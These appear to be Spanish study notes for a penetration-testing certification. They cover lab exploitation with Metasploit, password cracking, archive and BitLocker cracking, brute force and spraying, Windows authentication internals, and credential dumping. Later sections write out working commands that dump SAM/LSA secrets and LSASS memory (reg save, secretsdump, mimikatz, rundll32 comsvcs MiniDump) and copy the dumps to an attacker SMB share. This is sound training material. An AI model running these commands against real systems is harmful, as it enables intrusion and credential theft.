  1. Escaneamos los servicios del objetivo y vemos varias aplicaciones web pero nos piden DRUID (8081)

![[Pasted image 20260610110828.png]]

  1. Si entramos podemos ver la version es 0.17.1 ![[Pasted image 20260610110912.png]]

  2. Si buscamos exploits en internet encontramos algunas cosas pero nos centramos en el de Rapid7 que puede que este en MSF ![[Pasted image 20260610111012.png]]![[Pasted image 20260610111106.png]]

  3. Lo configuramos y usamos ![[Pasted image 20260610111131.png]]![[Pasted image 20260610111320.png]]

  4. Buscamos la flag ![[Pasted image 20260610111454.png]]![[Pasted image 20260610111532.png]]![[Pasted image 20260610111543.png]]![[Pasted image 20260610111602.png]]

CPTS

3. Jobs Y Sessions

  1. Accedemos a la pagina web y miramos el codigo fuente. Aqui encontramos el nombre de la aplicacion que esta corriendo

![[Pasted image 20260610111856.png]]![[Pasted image 20260610111931.png]]

  1. Buscamos en Internet y encontramos varios resultados pero nos centramos en el de Rapid7 que puede que este en MSF

![[Pasted image 20260610112032.png]]![[Pasted image 20260610112118.png]]

  1. Lo usamos y configuramos ![[Pasted image 20260610112142.png]]![[Pasted image 20260610112509.png]]

  2. Buscamos modulos para escalar privs ![[Pasted image 20260610112727.png]]![[Pasted image 20260610112904.png]]![[Pasted image 20260610112930.png]]

  3. Usamos el de sudo ![[Pasted image 20260610113041.png]]![[Pasted image 20260610113228.png]]

  4. No ha dejado, buscmos la version de sudo para encontrar un modulo mas especifico ![[Pasted image 20260610113410.png]]![[Pasted image 20260610113434.png]]![[Pasted image 20260610113458.png]]![[Pasted image 20260610113520.png]]![[Pasted image 20260610113548.png]]

CPTS

4. Meterpreter

  1. Hacemos un escaneo de servicios al objetivo y encontramos IIS en el 5000 y 5985 ![[Pasted image 20260610114148.png]]

![[Pasted image 20260610114133.png]]

  1. Mirando el codigo fuente encontramos la version ![[Pasted image 20260610114242.png]]

  2. Buscmos en Internet y nos centramos en el de rapid7 que puede que este en MSF ![[Pasted image 20260610114435.png]]![[Pasted image 20260610114451.png]]

  3. Lo configuramos y usamos ![[Pasted image 20260610114544.png]]

  4. Obtenemos las preguntas ![[Pasted image 20260610114622.png]]

CPTS

1. Intro Y Hashes

Obtener hashes de una pass

echo -n PASS | (md5sum, sha256sum...)

![[Pasted image 20260610123635.png]]

![[Pasted image 20260610124503.png]]

Rainbow tables

Son tablas con la entrada y salida de las funciones hash usado para identificar si la contraseña corresponde con el hash almacenado

![[Pasted image 20260610123741.png]]

Como son objetos de muchos ataques se les añadio salt (una secuencia random de bytes antes del hash)

El salt no es secreto, lo necesita el sistema para verificar si la contraseña proporcionada realmente es correcta pero sirve contra ataques porque aunque tu introduzcas las credencial correcta puede que la salt no (salt = 1byte)

Ataque de fuerza bruta

Intentar todas la combinaciones de numeros, letras y simbolos

![[Pasted image 20260610124249.png]]

Ataque de diccionario o wordlist

Se usan listas de contraseñas como:

CPTS

2. John The Ripper

John the Ripper: herramienta usada para crackeo de credenciales (brute-force y wordlist)

Modos de crackeo

Single crack mode (–single ARCHIVO)

Mas util en credenciales Linux. Genera candidatos de contraseñas basados en el nombre de usuario, directorio de inicio y valores GECOS (nombre completo, numero de telefono…)

EJEMPLO: imagina que encontramos el siguiente contenido en /etc/passwd y lo guardamos en un archivo llamado ejemplo.txt

r0lf:$6$ues25dIanlctrWxg$nZHVz2z4kCy1760Ee28M1xtHdGoy0C2cYzZ8l2sVa1kIa8K9gAcdBP.GI6ng/qA4oaMrgElZ1Cb9OeXO4Fvy3/:0:0:Rolf Sebastian:/home/r0lf:/bin/bash
  • Nombre del usuario: Rolf Sebastian
  • Directorio: /home/r0lf

Ejecutamos el siguiente comando para generar posibles contraseñas:

john --single ejemplo.txt

Wordlist (–wordlist=/RUTA)

Para descifrar contraseñas con un ataque de diccionario

john --wordlist=/RUTA/WORDLIST1,/RUTA/WORDLIST2... HASH_FILE --rules...

–rules: para generar contraseñas candidatas mediante transformacion de numeros, letras, caracteres…

Formato wordlist:

PASSWORD1
PASSWORD2
PASSWORD2
...

Incremental (–incremental ARCHIVO)

Crea contraseñas candidatas al estilo fuerza bruta pero basadas en un modelo estadistico (cadenas de Markov). Prueba todas las combinaciones de caracteres definidas por un conjunto de caracteres priorizando las contraseñas mas probables segun los datos de entrenamiento

john --incremental ARCHIVOHASH

Identificacion de formatos hash

Podemos usar hashID que ademas de decir el formato de hash nos da el formato John The Ripper:

hashid -j "HASH"

En este ejemplo no nos deja claro que tipo es:

![[Pasted image 20260610130327.png]]

Para ver todos los formartos que se pueden usar:

john --list=formats

Descrifrando archivos

Se pueden descrifrar archivos cifrados o protegidos por contraseña con las siguientes herramientas:

HERRAMIENTA ARCHIVO ARCHIVOHASH

![[Pasted image 20260610130541.png]]

Ejemplos

![[Pasted image 20260610130757.png]]![[Pasted image 20260610131356.png]]

CPTS

3. Hashcat

Hashcat: herramienta para crackear contraseñas de Linux, Windows y MacOS

hashcat -a N -m N <hash> <wordlist, rules...>

-a N: attack mode -m N: hash type

Ver tipos de hash para -a N

hashcat --help

![[Pasted image 20260610131709.png]]

Otra forma es hashID:

hashid -m 'HASH'

Modos de ataque para -m N

Diccionario

-a 0

hashcat -a 0 -m N 'HASH' /RUTA/WORDLIST

Rules

Para ver los archivos de reglas que existen:

ls -l /usr/share/hashcat/rules

Este modo nos permite hacer ciertas modificaciones en numeros, letras y simbolos

hashcat -a 0 -m N 'HASH' /RUTA/WORDLIST -r /usr/share/hashcat/rules/REGLA.rule

EJEMPLO: best64.rule tiene un conjunto de las 64 modificaciones mas comunes para la contraseña estandar probada

Mask

-a 3

Tipo de ataque de fuerza bruta en el que se define explicitamente el numero y posicion de caracteres que se probaran

EJEMPLO: sabemos que la longitud es de 8 caracteres y necesita minimo 2 numeros. Podemos acotar la fuerza bruta a 8 caracteres y que los numeros sean al final

![[Pasted image 20260610134727.png]]

EJEMPLO PRACTICO: imaginemos que queremos probar una contraseñas que tengan el primer caracter una letra mayuscula, continuan 4 minusculas, un digito y un simbolo:

?u?l?l?l?l?d?s

![[Pasted image 20260610134903.png]]

Ejemplos

  1. Usando wordlist

![[Pasted image 20260610135220.png]]

  1. Usando reglas

![[Pasted image 20260610135409.png]]

  1. Usando mascaras

![[Pasted image 20260610135736.png]]![[Pasted image 20260610135745.png]]

CPTS

4. Creacion De Nuevas Wordlist Y Reglas

Las politicas de contraseñas se usan para obligar a los usuarios a crear contraseñas mas dificiles de crackear, aunque aun asi sigue habiendo tendencia a contraseñas debiles y predecibles

Estos son algunos habitos:

![[Pasted image 20260610140533.png]]

Creacion de una wordlist a la que se le aplican reglas

John y Hashcat ya tienen reglas predefinidas como best64 pero aqui crearemos nosotros de forma manual

  1. Primero creamos la wordlist propia

![[Pasted image 20260610140711.png]]

  1. Tras esto creamos un archivo de reglas:

![[Pasted image 20260610140733.png]] ![[Pasted image 20260610140742.png]]

  • En el primer intento no tocara nada de la wordlist
  • En el segundo pondra las palabras con una mayuscula al principio y el resto minusculas
  • En el tercero cambiara las o por 0
  1. Podemos ver como quedaria con el siguiente comando
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list

![[Pasted image 20260610141008.png]]

Generacion de listas de palabras usando CeWL

CeWL: escanea palabras potenciales del sitio web y las guarda en una lista

Despues podemos usar reglas con esa lista

  1. Usamos CeWL
cewl http://SITIO_WEB/ -d N -, N --lowercase -w ARCHIVO

-d N: profundidad de la araña -m N: longitud minima de la palabra

Ejemplo practico

![[Pasted image 20260610183342.png]]

  1. Le pedimos a la IA que nos haga una wordlist con los datos que tenemos

![[Pasted image 20260610183328.png]]

  1. Tras esto creamos un archivo de reglas

![[Pasted image 20260610183437.png]]

  1. Verificamos como quedaria

![[Pasted image 20260610183618.png]]

  1. Tratamos de descifrar con esta wordlist nueva ![[Pasted image 20260610183725.png]]

CPTS

5. Descifrando Archivos Encoded Protegidos

Busqueda de archivos cifrados

  1. Por su extension (una lista exhaustiva esta en FileInfo):
for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

o

curl -s https://fileinfo.com/filetypes/encoded | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt
  1. SSH Keys (muchas claves ssh estan encriptadas por una frase)
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null

Para saber si la clave ssh esta protegida, al leerla con ssh-keygen nos pedira esa frase

ssh-keygen -yf ~/.ssh/id_rsa

![[Pasted image 20260610184357.png]]

Descifrando

Archivos protegidos por contraseña

  1. Buscamos la herramienta 2john que nos sea util
locate *2john*
  1. En este caso es office2john
office2john.py ARCHIVO.docx > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show

Otro ejemplo:

pdf2john.py ARCHIVO.pdf > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show

Claves SSH

  1. Buscamos la herramienta 2john que nos sea util
locate *2john*
  1. En este caso es ssh2john.py
ssh2john.py ARCHIVO.private > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show

Ejemplo practico

  1. Descargamos el ZIP en la Kali para descifrarlo y en Windows para abrirlo correctamente

![[Pasted image 20260610185036.png]]

  1. Decomprimimos e intentamos acceder

En Kali: ![[Pasted image 20260610185245.png]]

En Windows: ![[Pasted image 20260610185557.png]]

  1. Lo desciframos

![[Pasted image 20260610190011.png]]

  1. Comprobamos ![[Pasted image 20260610190032.png]]

CPTS

6. Descifrando Archivos Comprimidos Protegidos

Busqueda de extensiones de archivos comprimidos (FileInfo):

curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt

![[Pasted image 20260610190435.png]]

ZIP

Similar al visto en archivos encoded:

zip2john ARCHIVO.zip > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show

GZIP

No siempre sabremos de primeras si un archivo esta cifrado. Por ejemplo GZIP no tiene funcion nativa de cifrado pero se puede cifrar con openssl

Para verificar si esta cifrado usamos file:

file ARCHIVO.gzip

![[Pasted image 20260610190858.png]]

En los casos que son cifrados con openssl podemos tener muchos FP o que no se identifique de manera correcta la contraseña. Para mitigarlo podemos usar for + openssl:

for i in $(cat /RUTA/WORDLIST);do openssl enc -aes-256-cbc -d -in ARCHIVO.gzip -k $i 2>/dev/null| tar xz;done

Tras esto podremos buscar en el directorio actual archivos recien extraidos:

ls

![[Pasted image 20260610191132.png]]

Descifrando unidades BitLocker

BitLocker es una función de cifrado de disco completo desarrollada por Microsoft. Si se olvida la clave de BitLocker aun se puede usar la clave de recuperacion de 48 digitos

El hash esta dividido en 4:

  • 2 primeros para clave BitLocker
  • 2 ultimos para contraseña de recuperacion (es muy larga y aleatoria por lo que no es eficiente descifrar esta parte)
  1. Usamos bilocker2john para obtener el hash solo de la clave BitLocker
bitlocker2john -i ARCHIVO.vhd > ARCHIVO.hashes
grep "bitlocker\$0" ARCHIVO.hashes > ARCHIVO.hash
cat ARCHIVO.hash
  1. Desciframos con hashcat
hashcat -a 0 -m 22100 'hash' /usr/share/wordlists/rockyou.txt
  1. Acceder a la unidad cifrada
  • DESDE WINDOWS:

Doble click sobre el .vhd, primero mostrara un error y despues del montaje hacemos doble click en el volumen Bitlocker y ponemos la contraseña

![[Pasted image 20260610192800.png]]

  • DESDE LINUX:
sudo apt-get install dislocker
  1. Creamos dos carpetas para montar el VHD
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlockermount
  1. Usamos loseup para configurar el VHD como Loop device, desciframos la unidad con dislocker y montamos el volumen descifrado
sudo losetup -f -P Backup.vhd
sudo dislocker /dev/loop0p2 -uPASSWORD -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount
  1. Ya podemos explorar los archivos
cd /media/bitlockermount/
ls -la
  1. Desmontamos
sudo umount /media/bitlockermount
sudo umount /media/bitlocker

Ejercicio practico

  1. Descargamos el VHD

![[Pasted image 20260610193500.png]]

  1. Conseguimos el hash

![[Pasted image 20260610194653.png]]

  1. Lo desciframos

![[Pasted image 20260610194843.png]] ![[Pasted image 20260610194856.png]]

  1. Creamos las dos carpetas

![[Pasted image 20260610193608.png]]

  1. Desciframos

![[Pasted image 20260610194006.png]]![[Pasted image 20260610194445.png]]![[Pasted image 20260610195023.png]]

  1. Navegamos por el sistema montado

![[Pasted image 20260610195112.png]]

  1. Desmontamos

![[Pasted image 20260610195150.png]]

CPTS

1. Servicios De Red

WinRM

Puerto 5985 (HTTP) o 5986 (HTTPS)

Netexec

Para los ataques de contraseña podemos usar Netexec:

sudo apt-get -y install netexec

Para obtener ayuda:

netexec -h

Y para un protocolo especifico:

netexec PROTOCOLO -h

Uso:

netexec PROTOCOLO IP -u USER/USERLIST -p PASS/PASSLIST

![[Pasted image 20260611092059.png]]

Evil-WinRM

sudo gem install evil-winrm

Uso:

evil-winrm -i IP -u USER -p PASSWORD

![[Pasted image 20260611092211.png]]

SSH

Puero 22

3 Metodos de critografica:

  1. Cifrado simetrico: se usa misma Key para cifrar y descifrar. Se requiere de un metodo de intercambio de claves seguro como (Diffie-Helman, en el que un tercero que obtenga la clave no podra descifrar el contenido porque no conoce el metodo de intercambio)
  2. Cifrado asimetrico: usa dos Keys, una privada y otra publica. La privada se mantiene secreta porque con ella se pueden descifrar los mensajes que han sido cifrados por la clave publica. Si obtenemos la privada tambien podemos iniciar sesion via SSH sin credenciales
  3. Hashing: este convierte los datos transmitidos en otro valor unico y SSH usa el hash para verificar su autenticidad. Solo funciona en una direccion

Inicio de sesion con contraseña:

ssh USER@IP
	> PASSWORD

Inicio de sesion con clave privada:

ssh USER@IP -i id_rsa

Hydra

Uso:

hydra -L USERLIST -P PASSLIST PRTOCOLO://IP

RDP

Puerto 3389

2 Componentes:

  1. Servidor terminal: donde se realizan las acciones
  2. CLiente terminal: a traves desde donde se controla

Aparte de compartir audio, teclado, imagen… tambien se pueden imprimir cosas

Hydra

Uso

hydra -L USERLIST -P PASSLIST PROTOCOLO://IP

XFREERDP

xfreerdp3 /u:USER /p:PASS /v:IP --ssl=0

SMB o SAMBA

Puerto 445: responsable de transferir datos y archivos entre cliente y servidor

Hydra

Puede que de errores porque tengamos una version obsoleta de Hydra que no maneje SMBv3, podemos actualizarla y recompilarla manualmente o usar MSF:

hydra -L USERLIST -P PASSLIST PROTOCOLO://IP

MSF

msfconsole -q
search smb_login
use N
show options
set user_file USERLIST
set pass_file PASSLIST
set rhosts IP
run

Netexec

netexec PROTOCOLO IP -u USER -p PASS --shares

SMBCLIENT Y SMBMAP

SMBCLIENT:

  • Listar SHARENAMES
smbclient -N \\\\IP\\ -L
smbclient -U USER \\\\IP\\ -L
  • Login anonimo
smbclient -N \\\\IP\\SHARENAME
  • Login con credenciales
smbclient -U USER \\\\IP\\SAHERNAME
	>PASS

SMBMAP:

  • Enumeracion anonima
smbmap -H IP
  • Enumeracion con credenciales
smbmap -H IP -u USER -p PASS

Ejemplo practico

No funciona el lab pero es usar netexec, hydra y msfconsole para realizar los cracking de credenciales y loggarse a los servicios

CPTS

2. Spraying, Stuffing Y Por Defecto

Password Spraying

Se usa un unica contraseña contra varios usuarios finales

Depende del destino se usaran unas aplicaciones u otras: aplicaciones web (Burp Suite) y AD (netexec o kerbrute)

Netexec

netexec PROTOCOLO IP -u USERLIST -p 'PASS'

Password Stuffing

Se usan credenicales robadas de un servicio para intentar acceder a otros servicios aprovechando la reutilizacion

Tambien se pueden usar muchas herramietnas dependiendo del destino

Hydra

hydra -C USER_PASS.LIST PROTOCOLO://IP

-C USER_PASS.LIST: lista con pares user:pass

Credenciales por defecto

Hoja de referencia de credenciales predeterminadas

Lista de credenciales predeterminada

Busqueda de credenciales por terminal

pip3 install defaultcreds-cheat-sheet

Una vez instalada podemos buscar credenciales predeterminadas por un producto o proveedor especifico

creds search PRODUCTO/PROVEEDOR

![[Pasted image 20260611101142.png]]

Tras esto podemos usar hydra con los pares user:pass:

hydra -C USER_PASS.LIST PROTOCOLO://IP

Ejemplo practico

  1. Miramos creds por defecto de MySQL

![[Pasted image 20260611102912.png]]

  1. Nos conectamos por SSH e iniciamos sesion en MySQL hasta encontrar la correcta aunque podriamos haber usado hydra -C USER_PASS/list mysql://IP

![[Pasted image 20260611102920.png]]

CPTS

1. Proceso De Autenticacion En Windows

1. Proceso general de autenticación en Windows

Cuando un usuario inicia sesión en Windows, independientemente de si la cuenta es local o pertenece a un dominio, existe una secuencia de componentes que colaboran para verificar su identidad y crear una sesión de trabajo. El objetivo final es demostrar que el usuario es quien dice ser y generar un token de acceso que determinará qué recursos podrá utilizar durante la sesión.

Todo comienza cuando el usuario introduce sus credenciales en la pantalla de inicio de sesión. La interfaz gráfica que vemos pertenece a LogonUI.exe, pero quien realmente controla el proceso es Winlogon.exe, un proceso privilegiado que supervisa todos los eventos relacionados con el inicio y cierre de sesión, el bloqueo de pantalla y el cambio de contraseña.

Las credenciales introducidas son capturadas mediante un Credential Provider, que es una DLL encargada de recoger el usuario, contraseña, PIN o cualquier otro mecanismo de autenticación configurado. Una vez obtenidas, Winlogon las entrega al servicio LSASS.exe (Local Security Authority Subsystem Service).

LSASS constituye el núcleo de la autenticación en Windows. Es el encargado de decidir qué mecanismo debe utilizarse para verificar las credenciales. Dependiendo de si se trata de una cuenta local o de dominio, cargará diferentes paquetes de autenticación, como Msv1_0.dll para NTLM o Kerberos.dll para Kerberos.

Si la autenticación es satisfactoria, LSASS genera un Access Token. Este token contiene el SID del usuario, los SID de los grupos a los que pertenece, los privilegios asignados y otra información de seguridad. A partir de ese momento, Windows ya no utiliza continuamente la contraseña del usuario, sino ese token para determinar qué acciones puede realizar.

Finalmente, Winlogon inicia el entorno de usuario mediante Userinit.exe, que a su vez lanza Explorer.exe, mostrando el escritorio y completando el proceso de inicio de sesión.

Flujo general

Usuario


LogonUI.exe


Winlogon.exe


LSASS.exe

   ├── Kerberos.dll
   └── Msv1_0.dll


Autenticación correcta


Creación Access Token


Userinit.exe


Explorer.exe

2. Proceso de autenticación local

Cuando un equipo no pertenece a un dominio o el usuario inicia sesión utilizando una cuenta local, la validación se realiza íntegramente en el propio sistema operativo sin necesidad de contactar con ningún servidor externo.

El usuario introduce sus credenciales y, como en cualquier inicio de sesión, Winlogon las envía a LSASS. En este caso LSASS utiliza principalmente el paquete de autenticación Msv1_0.dll, que implementa NTLM para autenticaciones locales.

El siguiente paso consiste en consultar la base de datos SAM (Security Account Manager). Aunque solemos hablar de ella como un fichero, realmente se encuentra cargada en el registro de Windows bajo la rama HKLM\SAM, y físicamente se almacena en:

C:\Windows\System32\Config\SAM

Dentro de la SAM no se almacenan contraseñas en texto plano, sino hashes NTLM de las contraseñas. Cuando el usuario introduce su contraseña, Windows calcula nuevamente su hash NTLM y lo compara con el hash almacenado para esa cuenta.

Si ambos coinciden, LSASS considera que el usuario conoce la contraseña correcta y autoriza el acceso. En ese momento genera el token de acceso correspondiente y se inicia la sesión.

Es importante entender que durante una autenticación local nunca se consulta Active Directory ni el fichero NTDS.dit. Toda la información necesaria para validar la identidad del usuario se encuentra almacenada localmente en la SAM.

HKLM

**HKLM significa: HKEY_LOCAL_MACHINE y son Registros de memoria de Windows. El Registro de Windows es una base de datos jerárquica donde Windows almacena configuración del sistema, hardware, software, usuarios, servicios, etc.

![[Pasted image 20260611112925.png]]

Cuando Windows arranca, carga el fichero C:\Windows\System32\Config\SAM en memoria y lo monta dentro del Registro como HKLM\SAM

Por tanto, para el sistema operativo C:\Windows\System32\Config\SAM es el fichero físico en disco, mientras que:HKLM\SAM es la forma de acceder a esos datos una vez cargados en memoria a través del Registro.

Es lo mismo que C:\Windows\System32\Config\SAM pero llamado de otra forma para el propio sistema que cuando lo llama obtiene el contenido de C:\Windows\System32\Config\SAM **

Flujo autenticación local

Usuario


Winlogon.exe


LSASS.exe


Msv1_0.dll


SAM
(Cuentas locales)


Comparación hash NTLM


Access Token


Escritorio

3. Proceso de autenticación en Active Directory mediante Kerberos

Cuando un equipo pertenece a un dominio Active Directory, el mecanismo de autenticación predeterminado es Kerberos. En lugar de validar las credenciales contra la SAM local, el cliente necesita demostrar su identidad ante un Controlador de Dominio.

En un dominio, cada Controlador de Dominio almacena una copia de la base de datos Active Directory en el fichero NTDS.dit. Dentro de esta base de datos se encuentran las cuentas de usuario, grupos, equipos y multitud de objetos adicionales.

Kerberos se basa en el uso de tickets. La idea fundamental es que el usuario se autentica una sola vez ante el Controlador de Dominio y recibe un ticket que posteriormente utilizará para acceder a otros servicios sin volver a enviar su contraseña.

Cuando el usuario introduce sus credenciales, LSASS utiliza Kerberos.dll para iniciar el protocolo. El cliente envía un mensaje denominado AS-REQ (Authentication Service Request) al KDC (Key Distribution Center), que es un servicio integrado en el propio Controlador de Dominio.

El KDC consulta Active Directory para localizar la cuenta del usuario y obtener la información necesaria para verificarla. Si todo es correcto, responde con un AS-REP que contiene un TGT (Ticket Granting Ticket).

Este TGT funciona como una especie de “acreditación temporal”. Gracias a él, el usuario ya no necesita volver a demostrar quién es ante el KDC. Cuando quiera acceder a un recurso concreto, como un servidor de ficheros o una aplicación corporativa, utilizará ese TGT para solicitar un ticket específico para dicho servicio.

El cliente envía entonces un TGS-REQ al KDC. Tras verificar el TGT, el KDC responde con un TGS-REP que contiene un Service Ticket.

Finalmente, el cliente presenta ese Service Ticket al servidor deseado mediante un AP-REQ. Si el servidor valida correctamente el ticket, concede el acceso sin que el usuario tenga que volver a introducir la contraseña.

La gran ventaja de Kerberos es que la contraseña nunca viaja por la red y los servicios no necesitan conocerla para autenticar al usuario.

Flujo Kerberos

Usuario


Winlogon.exe


LSASS.exe


Kerberos.dll


AS-REQ


KDC (DC)


AS-REP + TGT


TGS-REQ


KDC (DC)


TGS-REP + Service Ticket


AP-REQ


Servidor destino


Acceso concedido

4. Proceso de autenticación en Active Directory mediante NTLM

Aunque Kerberos es el protocolo principal en Active Directory, NTLM sigue estando presente por motivos de compatibilidad. Se utiliza cuando Kerberos no puede emplearse, por ejemplo cuando se accede a recursos mediante una dirección IP en lugar de un nombre DNS, cuando existen relaciones de confianza especiales o cuando intervienen sistemas antiguos.

A diferencia de Kerberos, NTLM no utiliza tickets. Se basa en un mecanismo denominado Challenge-Response.

Cuando el usuario intenta autenticarse, el cliente envía un mensaje inicial indicando que desea utilizar NTLM. El servidor responde generando un valor aleatorio llamado Challenge o Nonce.

El cliente toma dicho desafío y lo combina con información derivada del hash NTLM de la contraseña del usuario para generar una respuesta criptográfica. Esa respuesta se envía al servidor.

El servidor, por sí solo, normalmente no puede verificarla. Por ello contacta con un Controlador de Dominio. El DC consulta Active Directory (NTDS.dit), recupera el hash NTLM almacenado para ese usuario y realiza exactamente el mismo cálculo. Si obtiene el mismo resultado que recibió del cliente, concluye que el usuario conoce la contraseña correcta.

Es importante destacar que el cliente nunca envía directamente la contraseña, pero la autenticación sigue dependiendo del hash NTLM almacenado en Active Directory. Por este motivo NTLM es más vulnerable a ciertos ataques como Pass-the-Hash que Kerberos.

Flujo NTLM

Usuario


Winlogon.exe


LSASS.exe


Msv1_0.dll


NEGOTIATE


Servidor


CHALLENGE


Cliente genera respuesta


AUTHENTICATE


Controlador de Dominio


NTDS.dit


Validación hash NTLM


Acceso concedido

Si estás estudiando para CPTS/OSCP, el esquema mental más útil es:

Local → SAM → NTLM → hash local

Dominio (normal) → Kerberos → TGT → Service Ticket

Dominio (compatibilidad) → NTLM → Challenge/Response → validación contra NTDS.dit.

CPTS

2. Atacando Sam, System Y Security

Con acceso admin a un sistema podemos volcar los archivos relacionados con SAM, transferirlos a nuestro host y descifrarlos offline

Registry hives o Registros de Windows

Hay 3 tipos que podemos copiar con acceso admin. Cada uno cumple un proposito:

Registry Hives Descripcion
HKLM\SAM Contiene hashes y contraseñas para cuentas locales
HKLM\SYSTEM Almacena la clave de arranque del sistema que se usa para cifrar el SAM (necesaria para descifrar los hashes)
HKLM\SECURITY Contiene info confidencial usada por LSA como credenciales de dominio en cache, contraseñas en texto sin formato, claves DPAPI…

Para hacer una copia de seguridad de estas usaremos: reg.exe

Reg.exe para copiar Registry Hives

  1. Iniciamos cmd con permisos de administrador
  2. Ejecutamos reg.exe
reg.exe save hklm\sam C:\NOMBRE.save
reg.exe save hklm\system C:\NOMBRE.save
reg.exe save hklm\security C:\NOMBRE.save

Si solo queremos los hashes locales con el SAM y SYSTEM sirve, pero SECURITY suele ser util porque puede contener datos de credenciales de usaurios de dominio

  1. Usar metodos de transferencia para pasarlo a nuestro host. Ejemplo con smbserver:
  • Desde el host de ataque levantamos el smbserver:
sudo impacket-smbserver -smb2support SHARENAME /home/kali/...
  • Desde el host objetivo usamos move:
move NOMBRE.save \\IP\SHARENAME
  1. Secretsdump para volcado de hashes
sudo impacket-secretsdump -sam NOMBRE.save -system NOMBRE.save -security NOMBRE.save LOCAL

En la salida podemos ver como lo primero que hace secretsdump es devolver el SYSTEM bootkey antes que los hashes SAM porque es la clave que encripta y desencripta el SAM al inicio:

![[Pasted image 20260611120159.png]]

Esto nos dice como interpretar la salida (LM hash se usa en sistemas antiguos y NT hash en modernos): ![[Pasted image 20260611120555.png]]

Se volcaran los hashes de SAM junto con datos de SECURITY (indo de inicio de sesion del dominio en cache, secretos LSA como claves usuario para DPAPI)

Crackeando los hashes

Hashes NT

![[Pasted image 20260611120555.png]]

  1. Creamos un archivo como los hashes NT

![[Pasted image 20260611120616.png]]

  1. Usamos hashcat contra NT hashes
  • Podemos mirar el -m N para saber que N usar con:
hashcat --help

![[Pasted image 20260610131709.png]]

  • En este caso es -m 1000
hashcat -m 1000 ARCHIVO.txt

Hashes DCC2 (HKLM\SECURITY)

Contienen informacion de inicios de sesion de dominio almacenadas en cache. Descifrar estos hashes es mucho mas lento

Ejemplo:

inlanefreight.local/Administrator:$DCC2$10240#administrator#23d97555681813db79b2ade4b4a6ff25
  1. Usamos hashcat contra NT hashes
  • Podemos mirar el -m N para saber que N usar con:
hashcat --help

![[Pasted image 20260610131709.png]]

  • En este caso es -m 2100
hashcat -m 2100 `$DCC2$HASH` WORDLIST

DPAPI

DPAPI (Data Protection API) es un mecanismo de Windows diseñado para que aplicaciones y usuarios puedan **cifrar y descifrar datos sin tener que gestionar directamente claves criptográficas. Con esto se consigue que la proxima vez que el usuario inicie sesion se haga automaticamente usando DPAPI

![[Pasted image 20260611121451.png]]

Estas se pueden descifrar con dpapi de Impacket o mimikatz o de forma remota con DonPapi:

Ejemplo:

mimikatz.exe
	dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Para sacar hashes: sekurlsa::logonpasswords

![[Pasted image 20260611121712.png]]

Dumping de credenciales y LSA secrets remoto

Dumping LSA remoto

Con privilegios de local admin podemos tener como objetivo los LSA secrets. Esto nos extraera credenciales de servicios que estan corriendo, schedule task o aplicaciones que se guardan usando LSA secrets

netexec smb IP --local-auth -u USER -p PASS --lsa

![[Pasted image 20260611122011.png]]

Dumping SAM remoto

netexec smb IP --local-auth -u USER -p PASS --sam

![[Pasted image 20260611122123.png]]

Ejemplo practico

  1. Nos conectamos y abrimos un cmd como admin para obtener los archivos de copia

![[Pasted image 20260611122851.png]]![[Pasted image 20260611123043.png]]

  1. Nos creamos un smbserver y los pasamos a la kali ![[Pasted image 20260611123203.png]]![[Pasted image 20260611123428.png]]

  2. Extraemos los hashes ![[Pasted image 20260611123623.png]]

  3. Desciframos el NT hash de ITbackdoor ![[Pasted image 20260611123726.png]] ![[Pasted image 20260611123738.png]]

![[Pasted image 20260611124203.png]]

  1. Hacemos un volcado remoto de LSA ![[Pasted image 20260611124246.png]]

CPTS

3. Atacando Lsass

LSASS es un proceso central de Windows que es responsable de hacer cumplir las politicas de seguridad, manejar la autenticacion de usuarios y almacenar material de credenciales confidenciales en memoria

Al iniciar sesion LSASS:

  • Almacenar en caché las credenciales localmente en la memoria
  • Crear tokens de acceso
  • Hacer cumplir las políticas de seguridad
  • Escriba al registro de seguridad de Windows

Dumping de memoria de LSASS

Se creara una copia del contenido de la memoria del proceso LSASS mediante el dumping de memoria. Esto nos permitira extraer las credenciales sin conexion usando nuestro host

Formas de realizar el dumping para hacer una copia de la memoria de LSASS:

Metodo del administrador de tareas

Se necesita acceso a la interfaz grafica

  1. Abrimos el Task Manager
  2. Seleccionamos la pestaña de Processes
  3. Buscamos y hacemos click derecho en Local Security Authorty Process
  4. Seleccionamos Create dump file

Con esto se creara un archivo “lsass.DMP” en %temp% que es el archivo que trasnferiremos al host de ataque

![[Pasted image 20260611133220.png]]

Transferencia a host de ataque. Ejemplo con smbserver:

  • Desde el host de ataque levantamos el smbserver:
sudo impacket-smbserver -smb2support SHARENAME /home/kali/...
  • Desde el host objetivo usamos move:
move NOMBRE.save \\IP\SHARENAME

Metodo rundll32.exe y comsvcs.dll

No hace falta sesion interactiva. Las herramientas AV modernas reconocen este metodo

  1. Identificar el ID del procesos lsass.exe
cmd> tasklist /svc
PS> Get-Process lsass

![[Pasted image 20260611133513.png]]![[Pasted image 20260611133551.png]]

  1. Creacion de un archivo de volcado con rundll32
PS> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
  1. Transferencia a host de ataque. Ejemplo con smbserver:
  • Desde el host de ataque levantamos el smbserver:
sudo impacket-smbserver -smb2support SHARENAME /home/kali/...
  • Desde el host objetivo usamos move:
move NOMBRE.save \\IP\SHARENAME

Extraccion de credenciales con pypykatz

